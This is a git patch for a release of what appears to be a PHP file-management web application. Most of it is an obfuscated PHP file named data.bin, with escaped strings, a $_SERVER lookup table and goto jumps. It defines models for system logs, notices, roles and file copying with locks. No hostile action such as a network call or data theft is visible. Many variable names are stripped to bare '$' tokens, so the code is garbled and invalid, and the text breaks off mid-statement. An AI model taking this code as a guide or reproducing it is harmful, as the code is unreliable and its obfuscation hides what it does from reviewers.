From 77e69ff2cb36e81f3e9360ebe1e740563806ca5f Mon Sep 17 00:00:00 2001
From: warlee <824691958@qq.com>
Date: Thu, 31 Oct 2024 16:11:52 +0800
Subject: [PATCH] 1.53.07 release
---
app/sdks/archiveLib/bin/data.bin | 2 +-
config/version.php | 2 +-
static/app/dist/api.js | 4 ++--
static/app/dist/lib.js | 4 ++--
static/app/dist/main.js | 4 ++--
static/app/dist/sdk.js | 2 +-
static/app/dist/vendor.js | 2 +-
static/style/dist/main.css | 2 +-
static/style/dist/sdk.css | 2 +-
static/style/lib/main.css | 2 +-
10 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin
index 8de107a7..ba2b5ea7 100755
--- a/app/sdks/archiveLib/bin/data.bin
+++ b/app/sdks/archiveLib/bin/data.bin
@@ -1,2 +1,2 @@
findByName($Ǒ); if (!$) { return !1; } return parent::remove($[$_SERVER[ձК][477]]); } public function add($) { if ($this->findByName($[$_SERVER[ձК][32]])) { return !1; } return parent::insert($); } public function update($Ζң, $) { $煸 =& $_SERVER[ձК]; $Ě = $this->findByName($Ζң); $ = $this->findByName($[$煸[32]]); if (!$Ě || $ && $[$煸[477]] != $Ě[$煸[477]]) { return !1; } return parent::update($Ě[$煸[477]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\164\x65\x6d\x5f\x6c\157\147"; protected $dataAuto = array(array("\x63\162\145\x61\164\145\x54\x69\155\145", "\x74\151\x6d\145", "\x69\x6e\x73\145\162\164", "\x66\165\x6e\143\164\x69\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[ձК]; return array($[2348] => LNG($[2349]), $[2350] => LNG($[2351]), $[1920] => LNG($[2352]), $[2353] => LNG($[2354]), $[2355] => LNG($[2356]), $[2357] => LNG($[2358]), $[2359] => LNG($[2360]), $[1950] => LNG($[2360]), $[1951] => LNG($[2361]), $[2362] => LNG($[2363]), $[2364] => LNG($[2365]), $[2366] => LNG($[2367]), $[2368] => LNG($[2369]), $[1948] => LNG($[2370]), $[2371] => LNG($[2372]), $[1955] => LNG($[2373]), $[2374] => LNG($[2375]), $[2376] => LNG($[2377]), $[2378] => LNG($[2379]), $[2380] => LNG($[2381]), $[1958] => LNG($[2382]), $[1959] => LNG($[2383]), $[2384] => LNG($[2385]), $[2386] => LNG($[2387]), $[2388] => LNG($[2389]), $[1953] => LNG($[2390]), $[2391] => LNG($[2392]), $[1952] => LNG($[2393]), $[2394] => LNG($[2395]), $[2396] => LNG($[2397]), $[2398] => LNG($[2397]), $[2399] => LNG($[2400]), $[2401] => LNG($[2401]), $[2402] => LNG($[1924]), $[2403] => LNG($[2404]), $[2405] => LNG($[2406]), $[2407] => LNG($[2408]), $[2409] => LNG($[2410]), $[2411] => LNG($[2412]), $[2413] => LNG($[2413]), $[2414] => LNG($[2415]), $[2416] => LNG($[2417]), $[2418] => LNG($[2419]), $[2420] => LNG($[2421]), $[2422] => LNG($[2423]), $[2424] => LNG($[2425]), $[212] => LNG($[212]), $[213] => LNG($[2426]), $[2427] => LNG($[2427])); } private function typeFile() { $ݜ =& $_SERVER[ձК]; $ꚏ = array($ݜ[1955] => array($ݜ[1956]), $ݜ[2366] => array($ݜ[2428]), $ݜ[2368] => array($ݜ[2429]), $ݜ[1948] => array($ݜ[1949], $ݜ[2430]), $ݜ[2376] => array(), $ݜ[2378] => array(), $ݜ[2380] => array(), $ݜ[1958] => array($ݜ[1960]), $ݜ[1959] => array($ݜ[1960]), $ݜ[2384] => array($ݜ[2431]), $ݜ[2386] => array($ݜ[2431]), $ݜ[2388] => array($ݜ[2432]), $ݜ[2374] => array($ݜ[2433]), $ݜ[1953] => array($ݜ[2434]), $ݜ[2391] => array($ݜ[2435]), $ݜ[1952] => array($ݜ[1954])); return $ꚏ; } private function typeAll() { $ǽ =& $_SERVER[ձК]; $Х = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $㪆) { $Х[$㪆[0]] = $Х[$]; } $Х[$ǽ[1960]] = LNG($ǽ[2436]); $Х[$ǽ[2431]] = LNG($ǽ[2437]); return $Х; } public function addLog($嶾, $ = array()) { $ٓڈ =& $_SERVER[ձК]; if (!isset($this->typeList[$嶾])) { return; } $ = Session::get($ٓڈ[2120]); if (!$) { $ = _get($, $ٓڈ[1777], 0); } if ($嶾 == $ٓڈ[2403] && is_array($[$ٓڈ[2438]]) && !$[$ٓڈ[2438]]) { return; } $س = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024 * 64) { if ($ && is_array($)) { $ = array_intersect_key($, array_flip($ٓڈ[477], $ٓڈ[32])); $[$ٓڈ[2439]] = $س; } else { $ = array($ٓڈ[2439] => $س); } } else { if (is_array($)) { $[$ٓڈ[2439]] = $س; } else { $ = array($ٓڈ[1289] => $, $ٓڈ[2439] => $س); } } $ = array($ٓڈ[1767] => Session::sign(), $ٓڈ[1768] => intval($), $ٓڈ[33] => $嶾, $ٓڈ[1770] => json_encode($)); return parent::add($); } public function remove($訒һ) { $this->where(array($_SERVER[ձК][495] => $訒һ))->delete(); } private function _makeOrder($核 = '') { $ =& $_SERVER[ձК]; $ׅ = $[233]; $ = array($[525] => $[526], $[527] => $[528]); $ = Input::get($[533], $[7], $[2157], array($[2074], $[527])); $ = $[$]; $核 = $核 . "{$ׅ}\x20{$}"; return $this->order($核); } public function get($ = '') { $ =& $_SERVER[ձК]; if (!$) { show_json(array()); } $ = array(); if ($[$[1777]]) { $[$[1777]] = $[$[1777]]; } if (isset($[$[834]])) { $ = $[$[834]]; $˳ = isset($[$[835]]) ? $[$[835]] : time(); $[$[233]] = array($[410], array($, $˳)); } if ($[$[33]]) { $ = explode($[50], $[$[33]]); $π = $this->typeFile(); $ = array(); foreach ($ as $ɟ) { $[] = $ɟ; if (isset($π[$ɟ])) { $ = array_merge($, $π[$ɟ]); } } $ = array_unique($); if ($) { $[$[33]] = array($[7], $); } } else { $[$[33]] = array($[2440], $[2441]); } if (!empty($[$[2439]])) { $[$[528]] = array($[461], "\x25{$[$[2439]]}\x25"); } $ɻՍ = $this->_makeOrder()->where($)->selectPage(); if (empty($ɻՍ[$[447]])) { show_json(array(), !0, $ɻՍ[$[444]]); } $ɻՍ[$[447]] = $this->logList($ɻՍ[$[447]]); return $ɻՍ; } private function ipAddress(&$×) { $˩ =& $_SERVER[ձК]; if (!empty($×[$˩[2439]])) { $ע = IpLocation::get($×[$˩[2439]]); } else { $ע = LNG($˩[2442]); } $×[$˩[2443]] = $ע; } private function descZipDownload($, &$܋) { $ =& $_SERVER[ձК]; if (!isset($[$[2444]])) { return; } $ = json_decode($[$[2444]], !0); foreach ($ as $) { try { $Ǹֲ = IO::infoFullSimple($[$[87]]); } catch (Exception $՟) { continue; } $[$[87]] = $[$[87]]; $܋[] = $[$[193]] = $Ǹֲ[$[193]]; $܋[] = $[$[2213]] = $Ǹֲ[$[192]]; break; } return $; } private function getSourceList(&$) { $Փ =& $_SERVER[ձК]; $ԁ = array(); foreach ($ as $ݒӳ => $ߠ) { $ = json_decode($ߠ[$Փ[528]], !0); if ($ߠ[$Փ[33]] == $Փ[1951]) { $ = $this->descZipDownload($, $ԁ); $[$ݒӳ][$Փ[528]] = json_encode($); continue; } if (strpos($ߠ[$Փ[33]], $Փ[2215]) !== 0) { if (!isset($[$Փ[87]]) || strpos($ߠ[$Փ[33]], $Փ[2445]) !== 0) { continue; } try { $ = IO::infoFullSimple($[$Փ[87]]); } catch (Exception $ȧ) { continue; } $ԁ[] = $[$Փ[193]] = $[$Փ[193]]; $ԁ[] = $[$Փ[2213]] = $[$Փ[192]]; $[$ݒӳ][$Փ[528]] = json_encode($); continue; } $ԁ[] = $[$Փ[193]]; $ԁ[] = $[$Փ[2213]]; if ($[$Փ[33]] == $Փ[625]) { $ԁ[] = $[$Փ[528]][$Փ[1243]]; $ԁ[] = $[$Փ[528]][$Փ[1244]]; } if ($[$Փ[33]] == $Փ[2224]) { $ԁ[] = $[$Փ[528]][$Փ[193]]; } } if (!$ԁ) { return array(); } return Model($Փ[899])->sourceListInfo($ԁ, !0); } private function logList($) { $뾔 =& $_SERVER[ձК]; $ = array_to_keyvalue($, $뾔[12], $뾔[1777]); $茀 = Model($뾔[599])->userListInfo(array_unique($)); $ = $this->getSourceList($); $ = $this->typeAll(); $ = array(); $됅 = array(); foreach ($ as $Đ => $ҏ) { $٫ǥ = $ҏ[$뾔[33]]; $Όڅ = isset($茀[$ҏ[$뾔[1777]]]) ? $茀[$ҏ[$뾔[1777]]] : !1; $ = strpos($٫ǥ, $뾔[2446]) === 0 ? LNG($뾔[2447]) : LNG($뾔[2442]); $ҏ[$뾔[32]] = isset($Όڅ[$뾔[32]]) ? $Όڅ[$뾔[32]] : LNG($뾔[2442]); $ҏ[$뾔[2274]] = isset($Όڅ[$뾔[2274]]) ? $Όڅ[$뾔[2274]] : $뾔[12]; $ҏ[$뾔[1665]] = isset($[$٫ǥ]) ? $[$٫ǥ] : $; $ҏ[$뾔[2156]] = $Όڅ; $Œ = json_decode($ҏ[$뾔[528]], !0); $ҏ[$뾔[2439]] = isset($Œ[$뾔[2439]]) ? $Œ[$뾔[2439]] : $뾔[12]; $ҏ[$뾔[2443]] = IpLocation::get($ҏ[$뾔[2439]]); if (strpos($٫ǥ, $뾔[2215]) === 0 || isset($Œ[$뾔[2213]])) { $Œ[$뾔[90]] = $[$Œ[$뾔[193]]]; $Œ[$뾔[2229]] = $[$Œ[$뾔[2213]]]; if ($Œ[$뾔[33]] == $뾔[625]) { $Œ[$뾔[528]][$뾔[1243]] = $[$Œ[$뾔[528]][$뾔[1243]]]; $Œ[$뾔[528]][$뾔[1244]] = $[$Œ[$뾔[528]][$뾔[1244]]]; } if ($Œ[$뾔[33]] == $뾔[2224]) { $Œ[$뾔[528]][$뾔[193]] = $[$Œ[$뾔[528]][$뾔[193]]]; } if ($Œ[$뾔[33]] == $뾔[1946]) { $Œ[$뾔[2229]] = $Œ[$뾔[90]]; $Œ[$뾔[2213]] = $Œ[$뾔[2229]][$뾔[193]]; $Œ[$뾔[90]] = !1; $Œ[$뾔[193]] = $뾔[12]; } $ = array($뾔[1946], $뾔[2211]); if (!in_array($Œ[$뾔[33]], $)) { if ($Œ[$뾔[90]] && $Œ[$뾔[90]][$뾔[190]] == $뾔[191]) { $됅[] = $ҏ[$뾔[477]]; unset($[$Đ]); continue; } if ($Œ[$뾔[2229]] && $Œ[$뾔[2229]][$뾔[190]] == $뾔[191]) { $됅[] = $ҏ[$뾔[477]]; unset($[$Đ]); continue; } } } $ҏ[$뾔[528]] = $Œ; unset($ҏ[$뾔[2448]]); $[] = $ҏ; } $this->clearSystemPathLog($됅); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[ձК]; if (count($) == 0) { return; } $ܝ = array($[477] => array($[7], array_unique($))); $this->where($ܝ)->delete(); } public function deviceList($鎏, $ = 0) { $ڭ =& $_SERVER[ձК]; $ = array($ڭ[1777] => $鎏, $ڭ[233] => array($ڭ[1093], $), $ڭ[33] => $ڭ[1920]); $Ͻ = array(); $Ҡ = $this->field($ڭ[2449])->where($)->order($ڭ[2227])->limit(50)->select(); foreach ($Ҡ as $ => $ɻ) { if ($ > 0 && abs($ɻ[$ڭ[233]] - $Ҡ[$ - 1][$ڭ[233]]) < 5) { continue; } $ = json_decode($ɻ[$ڭ[528]], !0); $ɻ[$ڭ[2439]] = isset($[$ڭ[2439]]) ? $[$ڭ[2439]] : $ڭ[12]; unset($[$ڭ[2439]]); $㒿 = $this->deviceType($[$ڭ[2216]]); if (isset($Ͻ[$㒿])) { continue; } $ɻ[$ڭ[2443]] = IpLocation::get($ɻ[$ڭ[2439]]); $ɻ[$ڭ[528]] = $; $Ͻ[$㒿] = $ɻ; } return array_values($Ͻ); } public function deviceType($廅) { return $廅; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\56\156\x6f\x74\151\x63\145\x4c\x69\163\x74"; public $field = array("\156\x61\x6d\x65", "\x63\x6f\156\x74\145\156\164", "\141\165\x74\x68", "\x6d\x6f\x64\x65", "\x74\x69\x6d\x65", "\x74\171\x70\145", "\x6c\145\166\145\154", "\x65\x6e\x61\142\154\x65", "\x73\157\162\x74"); public function listData($Й = false, $緗 = "\x73\157\162\164", $ = false) { return parent::listData($Й, $緗, $); } public function add($ԏ) { $ =& $_SERVER[ձК]; $ݢ = time(); if ($ԏ[$[16]] == $[2450]) { $ݢ = strtotime($ԏ[$[206]]); } $ԏ[$[206]] = $ݢ; return parent::insert($ԏ); } public function update($, $) { $ =& $_SERVER[ձК]; $ = $this->listData($); if (!$) { return !1; } $֩ = time(); if ($[$[16]] == $[2450]) { $֩ = strtotime($[$[206]]); } $[$[206]] = $֩; return parent::update($, $); } public function remove($ԇ) { $ = $this->listData($ԇ); if (!$ || $[$_SERVER[ձК][191]]) { return !1; } return parent::remove($ԇ); } public function sort($ᘧ, $) { return parent::update($ᘧ, $); } public function enable($յ, $͡) { return parent::update($յ, array($_SERVER[ձК][2451] => $͡)); } private function initUserOption() { $Ƀ =& $_SERVER[ձК]; $this->optionType = $Ƀ[2452]; $this->modelType = $Ƀ[2453]; $this->field = array($Ƀ[2454], $Ƀ[32], $Ƀ[206], $Ƀ[33], $Ƀ[2455], $Ƀ[824], $Ƀ[228]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[ձК][477], !0); } public function userNoticeAdd($ձ) { $Ǻ =& $_SERVER[ձК]; $this->initUserOption(); $Ǖ = $this->findByKey($Ǻ[2454], $ձ[$Ǻ[477]]); if ($Ǖ) { return !0; } $ސ = array($Ǻ[2454] => $ձ[$Ǻ[477]], $Ǻ[32] => $ձ[$Ǻ[32]], $Ǻ[206] => $ձ[$Ǻ[206]], $Ǻ[33] => isset($ձ[$Ǻ[33]]) ? $ձ[$Ǻ[33]] : 1, $Ǻ[2455] => isset($ձ[$Ǻ[2455]]) ? $ձ[$Ǻ[2455]] : 0, $Ǻ[824] => 0, $Ǻ[228] => 0); return parent::insert($ސ); } public function userNoticeEdit($, $ݜ) { $this->initUserOption(); return parent::update($, $ݜ); } } goto Eϼ; Eϼ: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\163\164\145\x6d\137\157\160\x74\151\x6f\x6e"; protected $jsonField = array("\155\x65\x6e\x75", "\x72\157\x6c\145", "\162\x6f\154\145\x47\x72\x6f\165\160", "\162\145\x67\151\163\164", "\145\x6d\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($݅) { return "\x53\x79\163\x74\145\x6d\x4f\160\164\x69\x6f\156\137{$݅}"; } protected function optionDefault($ = '') { $ =& $_SERVER[ձК]; if ($ == $[12]) { return $GLOBALS[$[6]][$[459]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\155\56\x72\x6f\154\145\x4c\x69\x73\164"; public $field = array("\x6e\141\155\145", "\x61\x75\164\x68", "\x6c\141\142\x65\154", "\144\x69\x73\160\x6c\141\171", "\x73\x79\163\x74\145\155", "\x64\145\x73\143", "\151\147\156\x6f\162\x65\105\170\164", "\151\x67\x6e\x6f\162\145\x46\x69\x6c\145\x53\x69\x7a\145", "\141\144\x6d\151\156\151\x73\x74\x72\x61\164\157\162", "\163\157\162\164"); public function listData($Ӻ = false, $ߋ = "\163\157\162\164", $ = false) { $緒 =& $_SERVER[ձК]; $ʃ = parent::listData($Ӻ, $ߋ, $); if (!$Ӻ) { foreach ($ʃ as $㴛 => $ӆ꧁) { if ($ӆ꧁[$緒[2187]] == 1) { $ʃ[$㴛][$緒[528]] = LNG($緒[2456]); } } } return $ʃ; } public function update($, $ݣ) { $ =& $_SERVER[ձК]; $쫭 = parent::listData($); $˻ = $this->findByName($ݣ[$[32]]); if (!$쫭 || $˻ && $˻[$[477]] != $쫭[$[477]]) { return !1; } if ($˻[$[2187]] == 1) { $ݣ = array($[32] => $ݣ[$[32]], $[2001] => $ݣ[$[2001]]); } $this->filterAuth($ݣ[$[489]]); return parent::update($, $ݣ); } public function remove($㎷ו) { $ = parent::listData($㎷ו); if (!$ || $[$_SERVER[ձК][191]]) { return !1; } return parent::remove($㎷ו); } public function add($) { $ =& $_SERVER[ձК]; $۟ = $[$[32]]; if ($this->findByName($۟)) { return !1; } $Ģ = array($[496] => $۟, $[1984] => $[12], $[1980] => $[1988], $[2457] => 1, $[1983] => 0, $[2458] => 0, $[1982] => $this->getSort()); $ = array_merge($Ģ, $); $this->filterAuth($[$[489]]); return parent::insert($); } private function getSort() { $٣ =& $_SERVER[ձК]; $Փ = parent::listData(); $ = array_to_keyvalue($Փ, $٣[12], $٣[2002]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$ݚ) { $ù =& $_SERVER[ձК]; $ن駆 = array(); $ = array_filter(explode($ù[50], $ݚ)); foreach ($ as $ݚ) { $Ѵ = explode($ù[10], $ݚ); if ($Ѵ[0] == $ù[2459] && $Ѵ[1] != $ù[1277]) { $ = $Ѵ[0] . $ù[10] . $Ѵ[1] . $ù[2460]; if (!in_array($, $)) { $ن駆[] = $; } } $ن駆[] = $ݚ; } $ݚ = implode($ù[50], $ن駆); } public function findRoleDefault() { $؊ =& $_SERVER[ձК]; $㎁ǔ = parent::listData(); $ = !1; foreach ($㎁ǔ as $) { if (!$ || $[$؊[2000]] == $؊[230] || $[$؊[2187]] == 1) { continue; } if (strstr($[$؊[489]], $؊[2461])) { continue; } if (!strstr($[$؊[489]], $؊[2462])) { continue; } if (!$) { $ = $; continue; } $ŅLJ = explode($؊[50], $[$؊[489]]); $ߧ˧ = explode($؊[50], $[$؊[489]]); if (count($ŅLJ) > count($ߧ˧)) { $ = $; } } return $ ? $[$؊[477]] : $؊[12]; } public function sort($ʫ, $) { return parent::update($ʫ, $); } } goto C; b٭: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($˼) { $ =& $_SERVER[ձК]; if (!$this->allowLock()) { return; } $this->_lockCheck($[623], $˼); $߁ = 1; $this->_lockEvent($˼, array($[624], $[625]), $߁); $this->_lockParent($˼, array($[625]), $߁); $this->_lockEvent($˼, array($[626], $[627]), $߁); $this->_lockCheckEnd($[623], $˼); } public function lockCopyEnd($ޱ) { $ =& $_SERVER[ձК]; if (!$this->allowLock()) { return; } $د = 0; $this->_lockEvent($ޱ, array($[624], $[625]), $د); $this->_lockParent($ޱ, array($[625]), $د); $this->_lockEvent($ޱ, array($[626], $[627]), $د); } public function lockWriteStart($Ȗ, $Ʉ = '') { $ߖ =& $_SERVER[ձК]; if (!$this->allowLock()) { return; } $this->_lockCheck($ߖ[624], $Ȗ); $ജ = 1; $this->_lockKey($ߖ[628] . $Ȗ . $ߖ[10] . $Ʉ, $ജ); $this->_lockEvent($Ȗ, array($ߖ[623], $ߖ[625]), $ജ); $this->_lockParent($Ȗ, array($ߖ[623], $ߖ[625]), $ജ); $this->_lockCheckEnd($ߖ[624], $Ȗ); } public function lockWriteEnd($, $؋ = '') { $ں˛ =& $_SERVER[ձК]; if (!$this->allowLock()) { return; } $ϕ = 0; $this->_lockKey($ں˛[628] . $ . $ں˛[10] . $؋, $ϕ); $this->_lockEvent($, array($ں˛[623], $ں˛[625]), $ϕ); $this->_lockParent($, array($ں˛[623], $ں˛[625]), $ϕ); } public function lockMoveStart($Ϝݾ) { $ =& $_SERVER[ձК]; if (!$this->allowLock()) { return; } $this->_lockCheck($[625], $Ϝݾ); $ۇ = 1; $this->_lockKey($[629] . $Ϝݾ, $ۇ); $this->_lockEvent($Ϝݾ, array($[623], $[624]), $ۇ); $this->_lockParent($Ϝݾ, array($[623], $[625]), $ۇ); $this->_lockEvent($Ϝݾ, array($[630], $[626], $[627]), $ۇ); $this->_lockCheckEnd($[625], $Ϝݾ); } public function lockMoveEnd($ӯɨ) { $ɃǼ =& $_SERVER[ձК]; if (!$this->allowLock()) { return; } $ύ = 0; $this->_lockKey($ɃǼ[629] . $ӯɨ, $ύ); $this->_lockEvent($ӯɨ, array($ɃǼ[623], $ɃǼ[624]), $ύ); $this->_lockParent($ӯɨ, array($ɃǼ[623], $ɃǼ[625]), $ύ); $this->_lockEvent($ӯɨ, array($ɃǼ[630], $ɃǼ[626], $ɃǼ[627]), $ύ); } private function _lockCheck($ߎ, $) { $Ҥ =& $_SERVER[ձК]; $ = $this->sourceInfo($); $ = $ߎ . $Ҥ[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ = LNG($Ҥ[631]); CacheLock::setErrorMsg($Ҥ[176] . htmlspecialchars($[$Ҥ[32]]) . $Ҥ[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $
= array_reverse($this->parentLevelArray($[$Ҥ[586]])); foreach ($
as $) { $ = $ߎ . $Ҥ[632] . $; if (CacheLock::lockGet($Ҥ[633] . $)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($Ҥ[176] . htmlspecialchars($[$Ҥ[32]]) . $Ҥ[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $휜 =& $_SERVER[ձК]; $ܽ = $ . $휜[10] . $; CacheLock::setErrorMsg($휜[456]); if (!isset($this->_lockTimeStart[$ܽ])) { return; } $ = timeFloat() - $this->_lockTimeStart[$ܽ]; unset($this->_lockTimeStart[$ܽ]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$휜[535] . $]); } $ݦ = $this->sourceInfo($); if (!$ݦ) { show_json(LNG($휜[108]), !1); } } private function _lockParent($, $, $ͱՠ) { if (!$this->autoLockSet) { return; } $뻔 = $this->sourceInfo($); if (!is_array($뻔)) { return; } $dz = array_reverse($this->parentLevelArray($뻔[$_SERVER[ձК][586]])); foreach ($dz as $) { $this->_lockEvent($, $, $ͱՠ); } } private function _lockEvent($, $鸀, $) { $ =& $_SERVER[ձК]; if (!$this->autoLockSet) { return; } foreach ($鸀 as $Ǻ) { $ = $Ǻ . $[10] . $; if ($ && CacheLock::lockGet($[633] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[ձК][633] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($뇁, $) { $ =& $_SERVER[ձК]; $ = $this->sourceInfo($뇁); $Æ˟ = $this->sourceInfo($); $ = $[$[586]] . $[$[193]] . $[50]; $̩ޗ = $Æ˟[$[586]] . $Æ˟[$[193]] . $[50]; $ = strpos($̩ޗ, $) === 0; return $; } private $targetIsDelete = 0; public function copy($ɍ, $, $ = REPEAT_REPLACE, $⨖ = '') { $洃 =& $_SERVER[ձК]; $ʏ = $this->sourceInfo($ɍ); $ = $this->sourceInfo($); if (!$ʏ || !$ || $[$洃[487]] != $洃[91]) { return !1; } if ($this->isParentOf($ɍ, $)) { return !1; } $Ǯ = $⨖ ? $⨖ : $ʏ[$洃[32]]; $this->lockCopyStart($ɍ); $this->lockWriteStart($, $Ǯ); $ڋލ = array($洃[634] => array(), $洃[635] => array(), $洃[636] => array()); $this->targetIsDelete = intval($ʏ[$洃[507]]); $£ = $this->fileNameExistAuto($, $ʏ); $ = $this->_copy($ɍ, $, $, $ڋލ, !0, $⨖); $this->_childrenListClear(); $this->lockCopyEnd($ɍ); $this->lockWriteEnd($, $Ǯ); if ($ʏ[$洃[487]] == $洃[91] && $£ == $) { $this->folderSizeResetChildren($£); } Model($洃[637])->addAll($ڋލ[$洃[635]], array(), !0); if ($£ != $ || $ʏ[$洃[487]] == $洃[91]) { Model($洃[638])->eventCopy($); } $this->saveAll($ڋލ[$洃[636]]); Model($洃[232])->linkAdd($ڋލ[$洃[634]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($휜, $ԍ, $, &$պ, $, $ = '') { $ =& $_SERVER[ձК]; $Ԉ願 = $this->sourceInfoCache($휜); $ = $Ԉ願[$[487]] == $[91]; $ = $ ? $ : $Ԉ願[$[32]]; $Ж = $this->fileNameExistAuto($ԍ, $Ԉ願); if ($) { $this->_childrenAllMake($휜); if ($ && $Ж) { $this->_childrenAllMake($Ж); } } if (!$Ж) { return $this->_copyCreate($휜, $ԍ, $, $պ); } $Ҥ = $Ж; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($ԍ, $, $, $); $Ҥ = $this->_copyCreate($휜, $ԍ, $, $պ); } else { $ܤ = $this->_childrenList($휜); foreach ($ܤ as $妾) { $this->_copy($妾[$[193]], $Ж, $, $պ, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($ԍ, $, $, $); $Ҥ = $this->_copyCreate($휜, $ԍ, $, $պ); } else { if ($ == REPEAT_REPLACE) { $쁖 = $this->sourceInfoCache($Ж); $ = $this->fileHistory($쁖, $Ԉ願[$[543]], $Ԉ願[$[79]]); if ($) { $պ[$[634]][] = $Ԉ願[$[543]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[639], array($[640], $Ԉ願, 0)); } return $Ҥ; } private function _copyCreate($␦Ș, $ڇ, $, &$) { $Αƍ =& $_SERVER[ձК]; $ = $this->sourceInfoCache($␦Ș); $ = $this->sourceInfoCache($ڇ); $ɧ = $this->_makeItemData($, $, $); Hook::trigger($Αƍ[641], $ɧ); Hook::trigger($Αƍ[642], array($Αƍ[643], $ɧ, 0)); $ѐ = $this->add($ɧ); $ = array($Αƍ[193] => $ѐ, $Αƍ[32] => $); $this->_copyApplyMeta($, $); if ($[$Αƍ[487]] != $Αƍ[91]) { $[$Αƍ[634]][] = $[$Αƍ[543]]; return $ѐ; } $쟽 = array(); $ = array(); $this->_childrenListAll($␦Ș, $쟽); $ڹ = count($쟽); if ($ڹ == 0) { return $ѐ; } $ᆱ = $this->sourceInfo($ѐ); foreach ($쟽 as $ъ) { $Է = $this->_makeItemData($ъ, $ᆱ, $ъ[$Αƍ[32]]); $Է[$Αƍ[586]] = $ъ[$Αƍ[586]]; $[] = $Է; } $this->chunkEventSet($Αƍ[644], array($Αƍ[645], $ɧ, $ڹ)); $this->addAll($, array(), !1); $𞸝 = $this->where(array($Αƍ[192] => $ѐ))->select(); $؇ = $this->_childrenMakeRelation($쟽, $𞸝); $؇[$␦Ș] = $ѐ; $ = array(); $ = array(); foreach ($𞸝 as $ъ) { $É = $ъ[$Αƍ[193]]; $ѵς = $this->_childrenMatch($؇, $ъ, $ᆱ); $[] = array($Αƍ[193], $É, $Αƍ[192], $ѵς[$Αƍ[192]]); $[] = array($Αƍ[193], $É, $Αƍ[586], $ѵς[$Αƍ[586]]); $this->_copyApplyMeta($ъ, $); if ($ъ[$Αƍ[487]] != $Αƍ[91]) { $[$Αƍ[634]][] = $ъ[$Αƍ[543]]; } } $this->chunkEventSet($Αƍ[646], array($Αƍ[647], $ɧ, $ڹ)); $this->saveAll($); $this->chunkEventSet($Αƍ[648], array($Αƍ[649], $ɧ, $ڹ)); $this->saveAll($); return $ѐ; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[ձК]; $ꢖ = array(); $ = array(); foreach ($ as $) { $٘˯ = $[$[32]] . $[8] . $[$[586]]; $ꢖ[$٘˯] = $[$[193]]; } foreach ($ as $) { $٘˯ = $[$[32]] . $[8] . $[$[586]]; $̃ = $ꢖ[$٘˯]; $[$̃] = $[$[193]]; } return $; } private function _childrenMatch($, $ɤ, $) { $¹ =& $_SERVER[ձК]; $ = $[$¹[586]]; $ = $this->parentLevelArray($ɤ[$¹[586]]); foreach ($ as $) { if (isset($[$])) { $ .= $[$] . $¹[650]; } } $ = rtrim($, $¹[50]) . $¹[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($¹[192] => $, $¹[586] => $); } private function _makeItemData($, $ԍ, $) { $ =& $_SERVER[ձК]; $ = array($[651] => $[$[487]], $[496] => $, $[652] => $[$[488]] ? $[$[488]] : $[12], $[544] => $[$[543]] ? $[$[543]] : 0, $[622] => $[$[79]] ? $[$[79]] : 0, $[653] => intval($ԍ[$[190]]), $[654] => intval($ԍ[$[571]]), $[655] => intval(USER_ID), $[656] => intval(USER_ID), $[479] => intval($ԍ[$[193]]), $[657] => $ԍ[$[586]] . $ԍ[$[193]] . $[50], $[500] => $[$[88]] ? $[$[88]] : time(), $[506] => 0, $[658] => $[12]); return $; } private function _copyApplyMeta($, &$Ҳ) { $ =& $_SERVER[ձК]; $ޥ = $[$[193]]; $ρ = $[$[32]]; if (!isset($[$[659]]) || !$[$[659]] || $[$[659]] == $[230]) { $Ҳ[$[636]][] = array($[193], $ޥ, $[659], short_id($ޥ)); } if (Input::check($ρ, $[660])) { $Ҳ[$[635]][] = array($[193] => $ޥ, $[97] => $[540], $[452] => str_replace($[53], $[12], Pinyin::get($ρ))); $Ҳ[$[635]][] = array($[193] => $ޥ, $[97] => $[539], $[452] => Pinyin::get($ρ, $[661])); } $Ҳ[$[635]][] = array($[193] => $ޥ, $[97] => $[519], $[452] => KodSort::makeStr($ρ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($̡) { $ː =& $_SERVER[ձК]; $ = $this->sourceInfo($̡); $ = $ː[662]; $ = array($ː[586] => array($ː[617], $[$ː[586]] . $̡ . $ː[618]), $ː[507] => $this->targetIsDelete); $ň̠ 